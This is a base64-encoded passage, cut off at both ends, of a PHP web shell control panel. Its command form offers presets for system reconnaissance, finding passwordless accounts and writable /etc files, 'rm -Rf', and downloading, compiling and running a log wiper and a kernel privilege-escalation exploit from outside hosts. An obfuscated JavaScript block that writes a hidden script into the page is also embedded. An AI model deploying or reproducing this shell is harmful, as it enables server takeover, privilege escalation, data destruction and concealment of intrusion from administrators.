KS4iPC9vcHRpb24+Ijt9ID8+PC9zZWxlY3Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT48L3RkPjwvdHI+PC9UQUJMRT4KPGJyPgo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjExNiIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+Cjx0cj48dGQgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHAgYWxpZ249ImNlbnRlciI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kJmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+U2hhZG93J3MgdHJpY2tzIDpEIDwvYj48L2E+IDo6PC9iPjwvcD48L3RkPjwvdHI+Cjx0cj4KICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+CiAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPlVzZWZ1bCBDb21tYW5kcyAKICAgIDwvZGl2Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgo8IS0tCmZGN2VTRDg9bmV3IEFycmF5KCk7CmZGN2VTRDhbMF09IiUzQ3NjcmlwdCUzRSUwQWRvY3UiOwpmRjdlU0Q4WzFdPSJtZW50LndyaXRlJTI4dW5lIjsKZkY3ZVNEOFsyXT0ic2NhcGUlMjglMjIlMjUzQ3NjcmkiOwpmRjdlU0Q4WzNdPSJwdCUyNTIwdHlwZSUyNTNEJTI1IjsKZkY3ZVNEOFs0XT0iMjJ0ZXh0L2phdmFzY3IiOwpmRjdlU0Q4WzVdPSJpcHQlMjUyMiUyNTNFZG8iOwpmRjdlU0Q4WzZdPSJjdW1lbnQud3JpdGUlMjUiOwpmRjdlU0Q4WzddPSIyOCUyNTI3JTI1NUN1MDAiOwpmRjdlU0Q4WzhdPSIzYyUyNTVDdTAwNzMlMjU1QyI7CmZGN2VTRDhbOV09InUwMDYzJTI1NUN1MDA3MiI7CmZGN2VTRDhbMTBdPSIlMjU1Q3UwMDY5JTI1NUN1IjsKZkY3ZVNEOFsxMV09IjAwNzAlMjU1Q3UwMDciOwpmRjdlU0Q4WzEyXT0iNCUyNTVDdTAwMjAlMjU1QyI7CmZGN2VTRDhbMTNdPSJ1MDA3NCUyNTVDdTAwNyI7CmZGN2VTRDhbMTRdPSI5JTI1NUN1MDA3MCUyNTVDdSI7CmZGN2VTRDhbMTVdPSIwMDY1JTI1NUN1MDAzZCUyNSI7CmZGN2VTRDhbMTZdPSI1Q3UwMDIyJTI1NUN1MCI7CmZGN2VTRDhbMTddPSIwNzQlMjU1Q3UwMDY1JTI1NUMiOwpmRjdlU0Q4WzE4XT0idTAwNzglMjU1Q3UwMDc0JTI1IjsKZkY3ZVNEOFsxOV09IjVDdTAwMmYlMjU1Q3UiOwpmRjdlU0Q4WzIwXT0iMDA2YSUyNTVDdTAwNjElMjU1IjsKZkY3ZVNEOFsyMV09IkN1MDA3NiUyNTVDdTAiOwpmRjdlU0Q4WzIyXT0iMDYxJTI1NUN1MDA3MyUyNSI7CmZGN2VTRDhbMjNdPSI1Q3UwMDYzJTI1NUN1MDAiOwpmRjdlU0Q4WzI0XT0iNzIlMjU1Q3UwMDY5JTI1IjsKZkY3ZVNEOFsyNV09IjVDdTAwNzAlMjU1Q3UiOwpmRjdlU0Q4WzI2XT0iMDA3NCUyNTVDdTAwMjIiOwpmRjdlU0Q4WzI3XT0iJTI1NUN1MDAzZSUyNTVDIjsKZkY3ZVNEOFsyOF09InUwMDY0JTI1NUN1MDAiOwpmRjdlU0Q4WzI5XT0iNmYlMjU1Q3UwMDYzJTI1NUMiOwpmRjdlU0Q4WzMwXT0idTAwNzUlMjU1Q3UwMDYiOwpmRjdlU0Q4WzMxXT0iZCUyNTVDdTAwNjUlMjU1Q3UiOwpmRjdlU0Q4WzMyXT0iMDA2ZSUyNTVDdTAwNzQlMjU1IjsKZkY3ZVNEOFszM109IkN1MDAyZSUyNTVDdTAwIjsKZkY3ZVNEOFszNF09Ijc3JTI1NUN1MDA3MiUyNSI7CmZGN2VTRDhbMzVdPSI1Q3UwMDY5JTI1NUN1IjsKZkY3ZVNEOFszNl09IjAwNzQlMjU1Q3UwMDY1JTI1IjsKZkY3ZVNEOFszN109IjVDdTAwMjglMjU1Q3UwMDIiOwpmRjdlU0Q4WzM4XT0iNyUyNTVDdTAwNWMlMjU1Q3UiOwpmRjdlU0Q4WzM5XT0iMDA3NSUyNTVDdTAwMzAiOwpmRjdlU0Q4WzQwXT0iJTI1NUN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzQxXT0iMDMzJTI1NUN1MDA2MyUyNSI7CmZGN2VTRDhbNDJdPSI1Q3UwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFs0M109IjUlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs0NF09IjAwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFs0NV09IiUyNTVDdTAwMzMlMjU1QyI7CmZGN2VTRDhbNDZdPSJ1MDA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzQ3XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbNDhdPSIwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFs0OV09IjQlMjU1Q3UwMDMzJTI1NSI7CmZGN2VTRDhbNTBdPSJDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzUxXT0iNSUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzUyXT0iMDAzMCUyNTVDdTAwMzUlMjU1IjsKZkY3ZVNEOFs1M109IkN1MDAzMiUyNTVDdTAwIjsKZkY3ZVNEOFs1NF09IjVjJTI1NUN1MDA3NSUyNTVDIjsKZkY3ZVNEOFs1NV09InUwMDMwJTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbNTZdPSI1Q3UwMDM0JTI1NUN1MDAiOwpmRjdlU0Q4WzU3XT0iMzklMjU1Q3UwMDVjJTI1NUN1IjsKZkY3ZVNEOFs1OF09IjAwNzUlMjU1Q3UwMDMwJTI1NSI7CmZGN2VTRDhbNTldPSJDdTAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzYwXT0iNSUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbNjFdPSJ1MDA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzYyXT0iJTI1NUN1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFs2M109IjMwJTI1NUN1MDAzNSUyNTUiOwpmRjdlU0Q4WzY0XT0iQ3UwMDM0JTI1NUN1MDA1IjsKZkY3ZVNEOFs2NV09ImMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzY2XT0idTAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFs2N109IjVDdTAwMzIlMjU1Q3UiOwpmRjdlU0Q4WzY4XT0iMDAzMCUyNTVDdTAwNWMlMjUiOwpmRjdlU0Q4WzY5XT0iNUN1MDA3NSUyNTVDdTAwIjsKZkY3ZVNEOFs3MF09IjMwJTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzcxXT0iQ3UwMDM1JTI1NUN1MDAzIjsKZkY3ZVNEOFs3Ml09IjMlMjU1Q3UwMDVjJTI1NUN1MCI7CmZGN2VTRDhbNzNdPSIwNzUlMjU1Q3UwMDMwIjsKZkY3ZVNEOFs3NF09IiUyNTVDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbNzVdPSIzNSUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4Wzc2XT0iNUN1MDA1YyUyNTVDdTAwIjsKZkY3ZVNEOFs3N109Ijc1JTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbNzhdPSIwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFs3OV09IjQlMjU1Q3UwMDMzJTI1NUN1IjsKZkY3ZVNEOFs4MF09IjAwNWMlMjU1Q3UwMDc1JTI1IjsKZkY3ZVNEOFs4MV09IjVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzgyXT0iMDAzMCUyNTVDdTAwMzMiOwpmRjdlU0Q4WzgzXT0iJTI1NUN1MDA2NCUyNTVDdTAiOwpmRjdlU0Q4Wzg0XT0iMDVjJTI1NUN1MDA3NSUyNSI7CmZGN2VTRDhbODVdPSI1Q3UwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFs4Nl09IjAlMjU1Q3UwMDM2JTI1NSI7CmZGN2VTRDhbODddPSJDdTAwMzglMjU1Q3UwIjsKZkY3ZVNEOFs4OF09IjA1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbODldPSJ1MDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbOTBdPSIwJTI1NUN1MDAzNyUyNTVDIjsKZkY3ZVNEOFs5MV09InUwMDM0JTI1NUN1MDA1YyUyNSI7CmZGN2VTRDhbOTJdPSI1Q3UwMDc1JTI1NUN1IjsKZkY3ZVNEOFs5M109IjAwMzAlMjU1Q3UwMDMwIjsKZkY3ZVNEOFs5NF09IiUyNTVDdTAwMzclMjU1Q3UiOwpmRjdlU0Q4Wzk1XT0iMDAzNCUyNTVDdTAwNWMlMjUiOwpmRjdlU0Q4Wzk2XT0iNUN1MDA3NSUyNTVDdTAwIjsKZkY3ZVNEOFs5N109IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbOThdPSIwMDM3JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4Wzk5XT0iQ3UwMDVjJTI1NUN1MDAiOwpmRjdlU0Q4WzEwMF09Ijc1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzEwMV09IkN1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxMDJdPSIzMyUyNTVDdTAwNjElMjU1Q3UiOwpmRjdlU0Q4WzEwM109IjAwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsxMDRdPSIlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzEwNV09InUwMDMwJTI1NUN1MDAzMiUyNSI7CmZGN2VTRDhbMTA2XT0iNUN1MDA2NiUyNTVDdTAwIjsKZkY3ZVNEOFsxMDddPSI1YyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzEwOF09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxMDldPSI1Q3UwMDMyJTI1NUN1MCI7CmZGN2VTRDhbMTEwXT0iMDY2JTI1NUN1MDA1YyI7CmZGN2VTRDhbMTExXT0iJTI1NUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbMTEyXT0iMDAzMCUyNTVDdTAwMzAlMjUiOwpmRjdlU0Q4WzExM109IjVDdTAwMzYlMjU1Q3UwMDMiOwpmRjdlU0Q4WzExNF09IjQlMjU1Q3UwMDVjJTI1NUMiOwpmRjdlU0Q4WzExNV09InUwMDc1JTI1NUN1MDAzIjsKZkY3ZVNEOFsxMTZdPSIwJTI1NUN1MDAzMCUyNTVDIjsKZkY3ZVNEOFsxMTddPSJ1MDAzNiUyNTVDdTAwIjsKZkY3ZVNEOFsxMThdPSIzMSUyNTVDdTAwNWMlMjU1IjsKZkY3ZVNEOFsxMTldPSJDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbMTIwXT0iMzAlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsxMjFdPSIwMDM3JTI1NUN1MDAzNCI7CmZGN2VTRDhbMTIyXT0iJTI1NUN1MDA1YyUyNTVDdTAwIjsKZkY3ZVNEOFsxMjNdPSI3NSUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTI0XT0idTAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzEyNV09IjYlMjU1Q3UwMDMxJTI1NSI7CmZGN2VTRDhbMTI2XT0iQ3UwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFsxMjddPSI1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzEyOF09IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzEyOV09IjAzMiUyNTVDdTAwNjUiOwpmRjdlU0Q4WzEzMF09IiUyNTVDdTAwNWMlMjU1QyI7CmZGN2VTRDhbMTMxXT0idTAwNzUlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxMzJdPSI1Q3UwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFsxMzNdPSI3JTI1NUN1MDAzNCUyNTVDdTAiOwpmRjdlU0Q4WzEzNF09IjA1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbMTM1XT0idTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTM2XT0iMzAlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzEzN109InUwMDMwJTI1NUN1MDA1IjsKZkY3ZVNEOFsxMzhdPSJjJTI1NUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbMTM5XT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbMTQwXT0iMCUyNTVDdTAwMzMlMjU1QyI7CmZGN2VTRDhbMTQxXT0idTAwMzAlMjU1Q3UwMDUiOwpmRjdlU0Q4WzE0Ml09ImMlMjU1Q3UwMDc1JTI1NSI7CmZGN2VTRDhbMTQzXT0iQ3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMTQ0XT0iMDMwJTI1NUN1MDAzNiUyNTVDIjsKZkY3ZVNEOFsxNDVdPSJ1MDA2MyUyNTVDdTAwNWMiOwpmRjdlU0Q4WzE0Nl09IiUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbMTQ3XT0idTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTQ4XT0iMzAlMjU1Q3UwMDM3JTI1IjsKZkY3ZVNEOFsxNDldPSI1Q3UwMDMzJTI1NUN1MDAiOwpmRjdlU0Q4WzE1MF09IjVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE1MV09IkN1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxNTJdPSIzMCUyNTVDdTAwMzIlMjU1IjsKZkY3ZVNEOFsxNTNdPSJDdTAwNjUlMjU1Q3UwMDVjIjsKZkY3ZVNEOFsxNTRdPSIlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzE1NV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzE1Nl09IjMwJTI1NUN1MDAzNiUyNTVDdSI7CmZGN2VTRDhbMTU3XT0iMDA2NiUyNTVDdTAwNWMlMjU1IjsKZkY3ZVNEOFsxNThdPSJDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbMTU5XT0iMzAlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsxNjBdPSIwMDM3JTI1NUN1MDAzMiUyNSI7CmZGN2VTRDhbMTYxXT0iNUN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbMTYyXT0iNSUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTYzXT0idTAwMzAlMjU1Q3UwMDM2JTI1IjsKZkY3ZVNEOFsxNjRdPSI1Q3UwMDM3JTI1NUN1MDAiOwpmRjdlU0Q4WzE2NV09IjVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE2Nl09IkN1MDAzMCUyNTVDdTAwMzAiOwpmRjdlU0Q4WzE2N109IiUyNTVDdTAwMzIlMjU1Q3UwMCI7CmZGN2VTRDhbMTY4XT0iNjYlMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTY5XT0iQ3UwMDc1JTI1NUN1MCI7CmZGN2VTRDhbMTcwXT0iMDMwJTI1NUN1MDAzMCUyNTVDIjsKZkY3ZVNEOFsxNzFdPSJ1MDAzNyUyNTVDdTAwMzciOwpmRjdlU0Q4WzE3Ml09IiUyNTVDdTAwNWMlMjU1Q3UiOwpmRjdlU0Q4WzE3M109IjAwNzUlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxNzRdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsxNzVdPSIwMDM2JTI1NUN1MDAzOCUyNTUiOwpmRjdlU0Q4WzE3Nl09IkN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbMTc3XT0iNSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxNzhdPSJDdTAwMzAlMjU1Q3UwMDM2IjsKZkY3ZVNEOFsxNzldPSIlMjU1Q3UwMDM1JTI1NUN1MDAiOwpmRjdlU0Q4WzE4MF09IjVjJTI1NUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbMTgxXT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbMTgyXT0iMCUyNTVDdTAwMzclMjU1QyI7CmZGN2VTRDhbMTgzXT0idTAwMzIlMjU1Q3UwMCI7CmZGN2VTRDhbMTg0XT0iNWMlMjU1Q3UwMDc1JTI1NSI7CmZGN2VTRDhbMTg1XT0iQ3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMTg2XT0iMDMwJTI1NUN1MDAzNiUyNSI7CmZGN2VTRDhbMTg3XT0iNUN1MDAzNSUyNTVDdTAiOwpmRjdlU0Q4WzE4OF09IjA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzE4OV09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsxOTBdPSIwMzAlMjU1Q3UwMDMyIjsKZkY3ZVNEOFsxOTFdPSIlMjU1Q3UwMDY1JTI1NUN1IjsKZkY3ZVNEOFsxOTJdPSIwMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMTkzXT0iJTI1NUN1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxOTRdPSIzMCUyNTVDdTAwMzYlMjUiOwpmRjdlU0Q4WzE5NV09IjVDdTAwNjElMjU1Q3UiOwpmRjdlU0Q4WzE5Nl09IjAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzE5N109IjUlMjU1Q3UwMDMwJTI1NSI7CmZGN2VTRDhbMTk4XT0iQ3UwMDMwJTI1NUN1MDAzNyI7CmZGN2VTRDhbMTk5XT0iJTI1NUN1MDAzMyUyNTVDdTAiOwpmRjdlU0Q4WzIwMF09IjA1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbMjAxXT0idTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMjAyXT0iMzAlMjU1Q3UwMDMzJTI1NUN1IjsKZkY3ZVNEOFsyMDNdPSIwMDY1JTI1NUN1MDA1IjsKZkY3ZVNEOFsyMDRdPSJjJTI1NUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbMjA1XT0iMDAzMCUyNTVDdTAwMzAlMjUiOwpmRjdlU0Q4WzIwNl09IjVDdTAwMzMlMjU1Q3UwMCI7CmZGN2VTRDhbMjA3XT0iNjMlMjU1Q3UwMDVjJTI1NUMiOwpmRjdlU0Q4WzIwOF09InUwMDc1JTI1NUN1MDAzMCI7CmZGN2VTRDhbMjA5XT0iJTI1NUN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzIxMF09IjAzMiUyNTVDdTAwNjYlMjU1IjsKZkY3ZVNEOFsyMTFdPSJDdTAwNWMlMjU1Q3UwIjsKZkY3ZVNEOFsyMTJdPSIwNzUlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsyMTNdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMTRdPSIwMDM1JTI1NUN1MDAzMyUyNTUiOwpmRjdlU0Q4WzIxNV09IkN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbMjE2XT0iNSUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMTddPSIwMzAlMjU1Q3UwMDM0JTI1NSI7CmZGN2VTRDhbMjE4XT0iQ3UwMDMzJTI1NUN1MDAiOwpmRjdlU0Q4WzIxOV09IjVjJTI1NUN1MDA3NSUyNSI7CmZGN2VTRDhbMjIwXT0iNUN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzIyMV09IjAzMCUyNTVDdTAwMzUiOwpmRjdlU0Q4WzIyMl09IiUyNTVDdTAwMzIlMjU1Q3UwIjsKZkY3ZVNEOFsyMjNdPSIwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsyMjRdPSIlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMjVdPSIwMDMwJTI1NUN1MDAzNCUyNSI7CmZGN2VTRDhbMjI2XT0iNUN1MDAzOSUyNTVDdTAiOwpmRjdlU0Q4WzIyN109IjA1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4WzIyOF09IjVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzIyOV09IjAwMzAlMjU1Q3UwMDM1JTI1IjsKZkY3ZVNEOFsyMzBdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMzFdPSIwMDVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzIzMl09IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzIzM109IjAzMCUyNTVDdTAwMzUiOwpmRjdlU0Q4WzIzNF09IiUyNTVDdTAwMzQlMjU1Q3UwIjsKZkY3ZVNEOFsyMzVdPSIwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsyMzZdPSIlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMzddPSIwMDMwJTI1NUN1MDAzMyUyNTUiOwpmRjdlU0Q4WzIzOF09IkN1MDA2NSUyNTVDdTAiOwpmRjdlU0Q4WzIzOV09IjAyNyUyNTVDdTAwMjkiOwpmRjdlU0Q4WzI0MF09IiUyNTVDdTAwM2MlMjU1QyI7CmZGN2VTRDhbMjQxXT0idTAwMmYlMjU1Q3UwMDczJTI1IjsKZkY3ZVNEOFsyNDJdPSI1Q3UwMDYzJTI1NUN1MDA3IjsKZkY3ZVNEOFsyNDNdPSIyJTI1NUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMjQ0XT0iMDA3MCUyNTVDdTAwNyI7CmZGN2VTRDhbMjQ1XT0iNCUyNTVDdTAwM2UlMjUyNyUyNSI7CmZGN2VTRDhbMjQ2XT0iMjklMjUzQy9zY3JpcHQlMjUiOwpmRjdlU0Q4WzI0N109IjNFJTIyJTI5JTI5JTNCJTBBJTNDL3NjcmkiOwpmRjdlU0Q4WzI0OF09InB0JTNFIjsKZm9yIChpID0gMDsgaSA8IGZGN2VTRDgubGVuZ3RoOyBpICsrKQp7CiAgICBkb2N1bWVudC53cml0ZSh1bmVzY2FwZShmRjdlU0Q4W2ldKSkKfQovLyAtLT4KPC9zY3JpcHQ+CiAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPgogICAgICAgICAgPFNFTEVDVCBOQU1FPSJjbWQiPgogICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ1bmFtZSAtYSI+S2VybmVsIHZlcnNpb24KICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3Ij5Mb2dnZWQgaW4gdXNlcnMKICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Imxhc3Rsb2ciPkxhc3QgdG8gY29ubmVjdAogICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiPlN1aWQgYmlucwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImN1dCAtZDogLWYxLDIsMyAvZXRjL3Bhc3N3ZCB8IGdyZXAgOjoiPlVTRVIgV0lUSE9VVCBQQVNTV09SRCEKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJmaW5kIC9ldGMvIC10eXBlIGYgLXBlcm0gLW8rdyAyPiAvZGV2L251bGwiPldyaXRlIGluIC9ldGMvPwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndoaWNoIHdnZXQgY3VybCB3M20gbHlueCI+RG93bmxvYWRlcnM/CiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iY2F0IC9wcm9jL3ZlcnNpb24gL3Byb2MvY3B1aW5mbyI+Q1BVSU5GTwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Im5ldHN0YXQgLWF0dXAgfCBncmVwIElTVCI+T3BlbiBwb3J0cwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImxvY2F0ZSBnY2MiPmdjYyBpbnN0YWxsZWQ/CgkJCQkJPE9QVElPTiBWQUxVRT0icm0gLVJmIj5Gb3JtYXQgYm94IChEQU5HRVJPVVMpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0id2dldCBodHRwOi8vd3d3LnBhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vbG9nLXdpcGVycy96YXAyLmMiPldJUEVMT0dTIFBUMSAoSWYgd2dldCBpbnN0YWxsZWQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iZ2NjIHphcDIuYyAtbyB6YXAyIj5XSVBFTE9HUyBQVDIKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL3phcDIiPldJUEVMT0dTIFBUMwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndnZXQgaHR0cDovL2Z0cC5wb3dlcm5ldC5jb20udHIvc3VwZXJtYWlsL2RlYnVnL2szIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMSAoSWYgd2dldCBpbnN0YWxsZWQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAxIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDEpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAyIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDIpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAzIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDMpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA0Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA1Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDUpCiAgICAgICAgICAgICAgICAgIDwvU0VMRUNUPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+CiAgICAgICAgJm5ic3A7CiAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4KICAgICAgICAgIDxicj4KICAgICAgICBXYXJuaW5nLiBLZXJuZWwgbWF5IGJlIGFsZXJ0ZWQgdXNpbmcgaGlnaGVyIGxldmVscyA8L2Rpdj4KICAgIDwvZm9ybT4KICAgIDwvdGQ+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICA8Y2VudGVyPktlcm5lbCBJbmZvOiA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Imh0dHA6Ly9nb29nbGUuY29tL3NlYXJjaCI+CiAgICAgIDxpbnB1dCBuYW1lPSJxIiB0eXBlPSJ0ZXh0IiBpZD0icSIgdmFsdWU9Ijw/cGhwIGVjaG8gd29yZHdyYXAocGhwX3VuYW1lKCkpOyA/PiI+CiAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNsaWVudCIgdmFsdWU9ImZpcmVmb3gtYSI+CgkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJscyIgdmFsdWU9Im9yZy5tb3ppbGxhOmVuLVVTOm9mZmljaWFsIj4KCSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGwiIHZhbHVlPSJlbiI+CgkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImhzIiB2YWx1ZT0iYj